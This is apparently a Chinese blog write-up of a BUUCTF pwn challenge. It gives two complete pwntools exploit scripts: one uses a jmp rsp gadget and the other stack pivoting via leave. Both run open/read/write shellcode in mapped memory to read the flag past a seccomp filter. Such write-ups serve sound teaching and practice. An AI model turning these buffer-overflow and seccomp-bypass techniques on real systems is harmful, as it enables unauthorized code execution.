Loading... 这题其实挺简单的,但是我还是没做出来:( ### 新的观点 原来在对于没开NX的题目可以考虑用`jmp rsp`的gadget啊!学到了。题目中有这个gadget,所以我们不需要leak栈地址就可以直接执行我们的shellcode。当然这里的shellcode只能写0x28个字节,并且`seccomp`禁用了除`read,wirte,open,exit`之外的所有系统调用,长度是不够的,所以考虑在mmap的内存上写并执行 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level = 'debug',os = 'linux',arch = 'amd64') #sh = process("./bad") sh = remote("node3.buuoj.cn",25651) mapped_addr = 0x123000 jmp_rax = 0x400865 jmp_rsp = 0x400a01 payload = (asm(shellcraft.read(0,mapped_addr,0x100)) + asm("mov rax,0x123000;call rax")).ljust(0x28,'\x00') payload += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp") sh.sendafter("fun!\n",payload) payload = shellcraft.open("./flag") payload += shellcraft.read(3,mapped_addr + 0x200,0x40) payload += shellcraft.write(1,mapped_addr + 0x200,0x40) sh.sendline(asm(payload)) sh.interactive() ``` 关于`seccomp`这一系列的函数,他们起到了禁用特定系统调用的作用。奇怪的是`_seccomp_init`似乎无法多次调用,本来我准备通过第二次调用该函数并设置所有系统调用可使用来实现getshell,但是发现无果。 ### 初始的思路 大概是间隔了一段时间没做题,脑子有些许发浑,想到了用`leave`实现栈迁移来执行shellcode但是卡了许久才想出做法。其实很容易,栈迁移先不对`rsp`动手,而是先修改`rbp`,在`0x123000`上写好shellcode再通过第二次的`leave`实现修改rsp,起到执行shellcode的效果 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level = 'debug',os = 'linux',arch = 'amd64') #sh = process("./bad") sh = remote("node3.buuoj.cn",25651) mapped_addr = 0x123000 restart_addr = 0x400A1A leave_addr = 0x400A49 pop_rdi_ret = 0x400b13 jmp_rax = 0x400865 jmp_rsp = 0x400a01 payload = 'a' * 0x20 + p64(mapped_addr + 0x20) + p64(restart_addr) sh.sendlineafter("fun!\n",payload) payload = asm(shellcraft.read(0,mapped_addr + 0x500,0x500)) + asm("mov rax,0x123500;call rax") payload = payload.ljust(0x28,'\x00') payload += p64(0x123000) sh.sendafter("fun!\n",payload) payload = shellcraft.open("./flag") payload += shellcraft.read(3,mapped_addr + 0x200,0x40) payload += shellcraft.write(1,mapped_addr + 0x200,0x40) sh.send(asm(payload)) sh.interactive() ``` 简单是真挺简单的,为什么会花我这么多时间啊,明天的高代考试可能没有希望了 最后修改:2021 年 01 月 24 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧